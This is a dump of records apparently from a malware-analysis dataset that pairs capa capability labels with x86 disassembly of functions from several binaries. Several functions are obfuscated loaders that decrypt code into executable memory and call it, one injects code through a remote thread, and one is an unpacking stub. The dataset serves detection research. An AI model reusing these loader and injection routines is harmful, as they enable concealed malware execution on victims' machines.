joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005936
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10005945
pop dword [ebp - 0x14]
mov eax, 0xb15c107a
sub eax, 0xa15bb735
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xa4fa6b43
add dword [ebp - 0x24], 0xa957da08
mov dword [ebp - 0x20], 0xbce5a08c
sub dword [ebp - 0x20], 0x8ab25447
mov dword [ebp - 0x1c], 0x7596297c
add dword [ebp - 0x1c], 0xd6b61ab2
mov dword [ebp - 0x18], 0xc0630e98
add dword [ebp - 0x18], 0x3f9cf168
lea eax, [ebp - 0x24]
push eax
mov eax, 0x4d8a1428
add eax, 0xc277ebdc
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xb1e75620
add dword [ebp - 0x24], 0xc28b1336
mov dword [ebp - 0x20], 0x4f8abad3
sub dword [ebp - 0x20], 0xe1e595e
mov dword [ebp - 0x1c], 0x99b7c868
add dword [ebp - 0x1c], 0xc9b7a404
mov dword [ebp - 0x18], 0x1527f345
add dword [ebp - 0x18], 0xead80cbb
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x738e2450
add eax, 0x9c73dbb0
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x38b99
push 0
call eax
mov ecx, 0x3fc27e21
add ecx, 0xc03dba77
xor edx, edx
add edx, eax
mov ebx, 0xd80d08a9
sub ebx, 0xc80a4ca9
add ebx, dword [ebp - 0x14]
mov esi, 0x96991cc
add esi, 0x8bb882ee
sub dword [ebp - 0x10], 0x6fe850d6
mov edi, dword [ebx]
sub dword [ebp - 4], 0xbcbf9daf
xor edi, esi
sub dword [ebp - 0xc], esi
mov dword [edx], edi
sub dword [ebp - 0xc], ebx
add edx, 4
add ebx, 4
loop 0x10005a69
add eax, 0xc0ab541
sub eax, 0xc09e00e
mov ebx, eax
add eax, 0xa34da9a
add eax, 0xf5cb256b
mov ecx, 0xec0e88d5
add ecx, 0x23f1772b
add ecx, dword [ebp - 0x18e]
call ebx
leave
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100080c7
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100080c7
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100080c7
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100080c7
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100080c7
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100080c7
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100080c7
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100080c7
push 0xd008
push edi
call fcn.100080c7
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100080c7
int3

Function at 0x100080c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x100080d6
pop dword [ebp - 8]
mov eax, 0x68e3eb60
sub eax, 0x58e36a8a
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x35b3a
push 0
mov eax, 0xe7771c7a
add eax, 0x288a23ea
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x51d3fe3d
add ecx, 0xae2c3c8f
mov edx, eax
mov edi, 0xe05a9e1d
sub edi, 0xd059181d
add edi, dword [ebp - 8]
mov esi, 0xc662cfcc
add dword [ebp - 4], 0x4dc622c1
mov ebx, dword [edi]
sub dword [ebp - 4], edx
sub ebx, esi
xor dword [ebp - 4], eax
mov dword [edx], ebx
xor dword [ebp - 4], edi
add edx, 0x9d1ebef3
sub edx, 0x9d1ebeef
add edi, 0x9b9553b2
add edi, 0x646aac52
loop 0x1000812f
add eax, 0xc123cc5
add eax, 0xf3eea13e
mov ebx, eax
add eax, 5
mov ecx, 0x43093e79
sub ecx, 0x33093e79
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0xdb57a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4c0000]
push edi
or ebp, 0xffffffff
jmp 0xdb57c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xdb57c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xdb57b8
mov eax, 1
add ebx, ebx
jne 0xdb57db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xdb57ec
jne 0xdb580b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xdb580b
dec eax
add ebx, ebx
jne 0xdb57f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xdb57d0
add ebx, ebx
jne 0xdb5807
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xdb585d
xor ecx, ecx
sub eax, 3
jb 0xdb5823
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xdb5892
sar eax, 1
mov ebp, eax
jmp 0xdb582e
add ebx, ebx
jne 0xdb582e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xdb57fc
inc ecx
add ebx, ebx
jne 0xdb583c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xdb57fc
add ebx, ebx
jne 0xdb5849
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xdb583e
jne 0xdb585a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xdb583e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xdb587c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xdb586e
jmp 0xdb57be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xdb587c
add edi, ecx
jmp 0xdb57be
pop esi
mov edi, esi
mov ecx, 0x3364c6
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0xdb58b7
cmp byte [edi], 0x42
jne 0xdb589c
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0xdb589a
lea edi, [esi + 0x9b1000]
mov eax, dword [edi]
or eax, eax
je 0xdb5908
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9c7b80]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9c7d2c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xdb58bd
mov ecx, edi
jns 0xdb58ec
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9c7d34]
or eax, eax
je 0xdb5902
mov dword [ebx], eax
add ebx, 4
jmp 0xdb58da
call dword [esi + 0x9c7d30]
mov ebp, dword [esi + 0x9c7d38]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x267]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xdb593c
sub esp, 0xffffff80
jmp 0x74d436
Function at 0x40230a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x441900]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401648
push 0xc
call fcn.00404aab
pop ecx
test eax, eax
je 0x402343
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004016a1
jmp 0x402345
xor eax, eax
mov esi, dword [eax + 4]
shl esi, 2
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
lea eax, [ebp - 0x20]
mov ebx, 0x4ac
mov edi, 0x441420
sub esi, 0x40
push eax
push 0x40
push ebx
push edi
push 0xffffffffffffffff
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
push edi
mov dword [ebp - 0x24], esi
call fcn.004020fc
push 0x1d
push section..data
push 0x1b400
mov esi, 0x426020
push esi
call fcn.00401c27
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push eax
push esi
push 0x4415a8
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateCaret]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea ecx, [ebp - 0x1c]
call fcn.00401fb0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404ae9
leave
ret

Function at 0x4039ed
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x403a0e
jl 0x403a05
test edi, edi
jne 0x403a0e
xor eax, eax
xor edx, edx
jmp 0x403acf
cmp dword [ebx + 0x38], 0
je 0x403a23
push eax
push edi
push dword [ebp + 8]
call fcn.00403ad5
jmp 0x403acf
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x403a6a
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x403a6a
cmp eax, edi
jb 0x403a44
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00405610
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x403a70
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x403ac4
mov ecx, ebx
call fcn.00403116
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x403aaf
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040a942
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x403ac4
jmp 0x403a82
test edx, edx
je 0x403ac4
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040a942
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x401c66
pop dword [ebp - 0x4c]
mov eax, 0x86682e45
add eax, 0x79d7ee21
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x5c37b8d3
add dword [ebp - 0x5c], 0xf21a8c78
mov dword [ebp - 0x58], 0x30b3a256
sub dword [ebp - 0x58], 0xfe805611
mov dword [ebp - 0x54], 0x6331d41
add dword [ebp - 0x54], 0x461926ed
mov dword [ebp - 0x50], 0xb6f00e37
sub dword [ebp - 0x50], 0xb6f00e37
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x2b04a75
sub dword [ebp - 0x5c], 0x8e3de11f
mov dword [ebp - 0x58], 0x9bfefb18
sub dword [ebp - 0x58], 0x5a9299a3
mov dword [ebp - 0x54], 0x9894e5c9
add dword [ebp - 0x54], 0xcada86a3
mov dword [ebp - 0x50], 0x70fe5585
add dword [ebp - 0x50], 0x8f01aa7b
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xe516ba2f
add eax, 0x1b2975fd
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b06e
push 0
call eax
mov ecx, 0xde7292ce
sub ecx, 0xde72389f
mov edx, eax
mov edi, 0x407000
add edi, dword [ebp - 0x4c]
mov esi, 0x9669d624
sub esi, 0x754bd61
sub dword [ebp - 0xc], 0xa7d47cf4
mov ebx, dword [edi]
xor dword [ebp - 0x34], 0x60152720
sub ebx, esi
xor dword [ebp - 0x14], esi
mov dword [edx], ebx
add dword [ebp - 0x48], eax
add edx, 4
add edi, 4
loop 0x401d7d
add eax, 0xab1c4cca
sub eax, 0xab1af13b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9e30e802
sub ecx, 0x9df0e802
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40288e
pop dword [ebp - 0xc]
mov eax, 0xf622447c
sub eax, 0xf5e21bee
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x1e3c28a2
sub dword [ebp - 0x1c], 0xcfe9e357
mov dword [ebp - 0x18], 0xe8cfdae
sub dword [ebp - 0x18], 0xdc59b169
mov dword [ebp - 0x14], 0x8fccfe7e
add dword [ebp - 0x14], 0xbc7f45b0
mov dword [ebp - 0x10], 0x7f2e2a27
sub dword [ebp - 0x10], 0x7f2e2a27
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x4a1acc16
sub eax, 0x49da4b8a
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xdc2e46ca
sub dword [ebp - 0x1c], 0x67bbdd74
mov dword [ebp - 0x18], 0xeefc06d9
add dword [ebp - 0x18], 0x52705a9c
mov dword [ebp - 0x14], 0x3d5aa5e6
add dword [ebp - 0x14], 0x2614c686
mov dword [ebp - 0x10], 0x33fb0837
sub dword [ebp - 0x10], 0x33fb0837
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xb6299a07
sub eax, 0xb5e91933
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x32fa6
push 0
call eax
mov ecx, 0x3987
mov esi, eax
mov edx, 0x411000
add edx, dword [ebp - 0xc]
mov edi, 0x3d355309
add edi, 0x74d4f41d
add dword [ebp - 4], 0x569f95f
mov ebx, dword [edx]
add dword [ebp - 4], 0x968a5e7e
sub ebx, edi
xor dword [ebp - 8], edi
mov dword [esi], ebx
add dword [ebp - 8], 0xd4dc291c
add esi, 0xeb378d09
add esi, 0x14c872fb
add edx, 0x22a7717c
sub edx, 0x22a77178
loop 0x4029a4
add eax, 0xd8ef
mov ebx, eax
add eax, 0x26b1e04d
add eax, 0xd94e1fb8
mov ecx, 0x3cde51a8
add ecx, 0xc361ae58
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x403110
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x40311e
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
not eax
cmp esi, 8
jb 0x4031dd
push edi
mov edi, esi
shr edi, 3
movzx ecx, byte [edx]
sub esi, 8
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x458b70]
movzx ecx, byte [edx + 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x458b70]
movzx ecx, byte [edx + 2]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x458b70]
movzx ecx, byte [edx + 3]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x458b70]
movzx ecx, byte [edx + 4]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x458b70]
movzx ecx, byte [edx + 5]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x458b70]
movzx ecx, byte [edx + 6]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x458b70]
movzx ecx, byte [edx + 7]
add edx, 8
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x458b70]
sub edi, 1
jne 0x403136
pop edi
test esi, esi
je 0x4031fb
movzx ecx, byte [edx]
lea edx, [edx + 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x458b70]
sub esi, 1
jne 0x4031e1
not eax
pop esi
pop ebp
ret

Function at 0x403730
Capabilities:
Get disk information
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x47a42c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x10
lea eax, [ebp - 0x24]
mov dword [ebp - 0x42c], 0
push eax
push str.SystemDrive
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x430], 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x4037ed
lea edi, [ebp - 0x24]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x403780
mov eax, dword [0x459794]
mov dword [edi], eax
lea eax, [ebp - 0x224]
push 0xff
push eax
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0x428]
push eax
push 0xff
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x4037ed
mov eax, dword [ebp - 0x428]
test eax, eax
js 0x4037ed
push eax
push 0x4597c4
push 0x47b600
call fcn.00403210
add esp, 0xc
jmp 0x403825
movups xmm0, xmmword [0x459798]
mov ax, word [0x4597c0]
mov word [0x47b628], ax
movups xmmword [0x47b600], xmm0
movups xmm0, xmmword [0x4597a8]
movups xmmword [0x47b610], xmm0
movq xmm0, qword [0x4597b8]
movq qword [0x47b620], xmm0
mov edi, 0x47b600
add edi, 0xfffffffe
nop dword [eax]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x403830
mov ecx, 0x13
mov esi, 0x4597d0
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
mov eax, 0x47b600
xor ecx, ebp
movsw word es:[edi], word [esi]
pop edi
pop esi
call fcn.00428a27
mov esp, ebp
pop ebp
ret
Function at 0x403e40
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
pop ebp
ret

Function at 0x404790
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push edi
mov edi, dword [ebx + 0x208]
test edx, edx
je 0x4048a6
lea ecx, [ebx + 0x104]
push esi
mov eax, 0x104
mov esi, edx
sub eax, edi
cmp edx, eax
cmovae esi, eax
lea eax, [ecx + edi]
push esi
push eax
push dword [ebp + 8]
call fcn.0042b280
mov edx, dword [ebp + 0xc]
add edi, esi
add dword [ebp + 8], esi
sub edx, esi
add esp, 0xc
mov dword [ebp + 0xc], edx
cmp edi, 0x104
jne 0x404897
xor edx, edx
lea edi, [ebx + 0x104]
mov ecx, 0x41
mov dword [ebp - 4], edx
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
nop dword [eax]
mov esi, dword [ebx + 0x20c]
mov eax, 0x104
sub eax, edx
mov ecx, esi
push eax
lea eax, [edx + ebx]
push eax
call dword [0x45343c]
call esi
mov edx, dword [ebp - 4]
add esp, 8
add edx, eax
mov dword [ebp - 4], edx
cmp edx, 0x104
jb 0x404800
xor ecx, ecx
lea esi, [ebx + 0x104]
movzx eax, byte [esi + ecx]
not al
xor byte [ecx + ebx], al
movzx eax, byte [ecx + ebx + 0x105]
not al
xor byte [ecx + ebx + 1], al
movzx eax, byte [ecx + ebx + 0x106]
not al
xor byte [ecx + ebx + 2], al
movzx eax, byte [ecx + ebx + 0x107]
not al
xor byte [ecx + ebx + 3], al
movzx eax, byte [ecx + ebx + 0x108]
not al
xor byte [ecx + ebx + 4], al
add ecx, 5
cmp ecx, 0x104
jb 0x404837
push ebx
call fcn.004046d0
push esi
call fcn.004046d0
mov edx, dword [ebp + 0xc]
add esp, 8
xor edi, edi
lea ecx, [ebx + 0x104]
test edx, edx
jne 0x4047b1
pop esi
mov dword [ebx + 0x208], edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4048c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x47a42c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
xor edx, edx
push esi
push edi
mov ecx, 0x41
mov dword [ebp - 0x64], edx
lea eax, [ebx + 0x104]
mov esi, ebx
mov edi, eax
mov dword [ebp - 0x68], eax
rep movsd dword es:[edi], dword [esi]
nop
mov esi, dword [ebx + 0x20c]
mov eax, 0x104
sub eax, edx
mov ecx, esi
push eax
lea eax, [ebx + edx]
push eax
call dword [0x45343c]
call esi
mov edx, dword [ebp - 0x64]
add esp, 8
add edx, eax
mov dword [ebp - 0x64], edx
cmp edx, 0x104
jb 0x4048f0
xor ecx, ecx
movzx eax, byte [ebx + ecx + 0x104]
not al
xor byte [ebx + ecx], al
movzx eax, byte [ebx + ecx + 0x105]
not al
xor byte [ebx + ecx + 1], al
movzx eax, byte [ebx + ecx + 0x106]
not al
xor byte [ebx + ecx + 2], al
movzx eax, byte [ebx + ecx + 0x107]
not al
xor byte [ebx + ecx + 3], al
movzx eax, byte [ebx + ecx + 0x108]
not al
xor byte [ebx + ecx + 4], al
add ecx, 5
cmp ecx, 0x104
jb 0x404921
xor esi, esi
lea edx, [esi + 0x40]
test esi, esi
lea ecx, [ebx + esi]
mov eax, 0x104
mov edi, 0x104
cmovne eax, esi
sub edi, esi
cmp edi, 0x40
movups xmm0, xmmword [eax + ebx - 0x14]
mov eax, dword [eax + ebx - 4]
mov dword [ebp - 0x48], eax
mov eax, edi
cmova eax, edx
push eax
push ecx
lea eax, [ebp - 0x44]
push eax
movups xmmword [ebp - 0x58], xmm0
call fcn.0042b280
add esp, 0xc
cmp edi, 0x40
jae 0x4049cb
lea eax, [esi - 0xc4]
push eax
lea eax, [ebp - 0x44]
add eax, edi
push ebx
push eax
call fcn.0042b280
add esp, 0xc
lea eax, [ebp - 0x60]
push eax
call fcn.00404cc0
movups xmm0, xmmword [ebp - 0x58]
mov eax, dword [ebp - 0x48]
add esp, 4
mov edx, 0x40
movups xmmword [ebx + esi], xmm0
mov dword [ebx + esi + 0x10], eax
add esi, 0x14
cmp esi, 0x104
jb 0x404976
xor esi, esi
nop dword [eax + eax]
mov ecx, dword [ebp - 0x68]
test esi, esi
mov eax, 0x104
mov edi, 0x104
cmovne eax, esi
sub edi, esi
cmp edi, 0x40
lea ebx, [esi + ecx]
movups xmm0, xmmword [eax + ecx - 0x14]
mov eax, dword [eax + ecx - 4]
mov ecx, 0x40
mov dword [ebp - 0x48], eax
mov eax, edi
cmova eax, ecx
push eax
lea eax, [ebp - 0x44]
push ebx
push eax
movups xmmword [ebp - 0x58], xmm0
call fcn.0042b280
add esp, 0xc
cmp edi, 0x40
jae 0x404a60
mov edx, dword [ebp - 0x68]
lea eax, [esi - 0xc4]
push eax
lea eax, [ebp - 0x44]
push edx
add eax, edi
push eax
call fcn.0042b280
add esp, 0xc
lea eax, [ebp - 0x60]
push eax
call fcn.00404cc0
movups xmm0, xmmword [ebp - 0x58]
mov eax, dword [ebp - 0x48]
add esi, 0x14
add esp, 4
movups xmmword [ebx], xmm0
mov dword [ebx + 0x10], eax
cmp esi, 0x104
jb 0x404a00
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00428a27
mov esp, ebp
pop ebp
ret